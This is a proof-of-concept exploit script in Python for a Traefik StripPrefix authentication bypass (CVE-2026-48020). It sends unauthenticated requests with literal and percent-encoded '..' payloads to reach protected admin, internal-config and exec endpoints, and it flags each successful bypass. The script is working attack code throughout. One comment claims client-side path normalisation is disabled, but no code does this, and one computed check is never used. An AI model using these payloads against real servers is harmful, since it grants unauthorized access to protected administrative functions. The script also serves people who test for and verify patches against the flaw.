README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2026-48020 — Traefik StripPrefix route-level auth bypass PoC.
Against a vulnerable Traefik (<= v2.11.46, v3.6.17, v3.7.1) running the
dynamic.yml shipped in this repo, a request whose path contains `..` after
the stripped prefix (e.g. /api../admin) is routed through the *public*
router at routing time but normalised back to the *protected* path before
it reaches the backend — completely skipping the basicAuth middleware.
Usage:
python3 poc.py [base_url] # default: http://127.0.0.1:18080
"""
import sys
from urllib.request import Request, urlopen
from urllib.error import HTTPError, URLError
BASE = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:18080"
# (label, request_path, should_be_protected)
CASES = [
("direct protected (auth enforced)", "/admin", True),
("direct protected (auth enforced)", "/internal/config", True),
("public strip + exclusion (safe)", "/api/admin", True),
("public strip + exclusion (safe)", "/api/internal/config", True),
# --- the bypass payloads ---
("BYPASS literal ..", "/api../admin", True),
("BYPASS encoded %2e%2e", "/api%2e%2e/admin", True),
("BYPASS literal .. (internal)", "/api../internal/config", True),
("BYPASS encoded %2e%2e (internal)", "/api%2e%2e/internal/config", True),
("BYPASS literal .. (exec endpoint)", "/api../admin/exec", True),
("BYPASS encoded %2e%2e (exec)", "/api%2e%2e/admin/exec", True),
]
def probe(path):
"""Return (status, body) for a GET against BASE+path with no credentials."""
req = Request(BASE + path)
# IMPORTANT: ask urllib NOT to resolve '.'/'..' client-side so the raw
# traversal sequence is sent verbatim to Traefik.
try:
with urlopen(req, timeout=5) as r:
return r.status, r.read().decode(errors="replace")
except HTTPError as e:
return e.code, e.read().decode(errors="replace")
except URLError as e:
return None, f"<connection error: {e.reason}>"
def main():
print(f"[*] Target: {BASE}\n")
compromised = False
for label, path, protected in CASES:
status, body = probe(path)
reached_secret = status == 200 and "secret" in body and "ADMIN_SECRET" in body \
or status == 200 and ("INTERNAL_CONFIG" in body or "EXEC_ENDPOINT" in body)
# A protected path that returns 200 WITHOUT credentials = bypass.
bypassed = protected and status == 200
if bypassed:
compromised = True
tag = " [!] BYPASS"
elif status == 401:
tag = " [blocked]"
elif status == 404:
tag = " [safe ]"
else:
tag = f" [{status}]"
print(f"{tag} {label:38} {path}")
print(f" -> status={status} body={body[:110]}\n")
print("=" * 60)
if compromised:
print("[!] AUTH BYPASS CONFIRMED — protected paths reached without "
"credentials via StripPrefix path normalisation.")
else:
print("[+] No bypass observed — this Traefik version is not vulnerable\n"
" (>= v2.11.48 / v3.6.19 / v3.7.3 rejects the normalised path).")
if __name__ == "__main__":
main()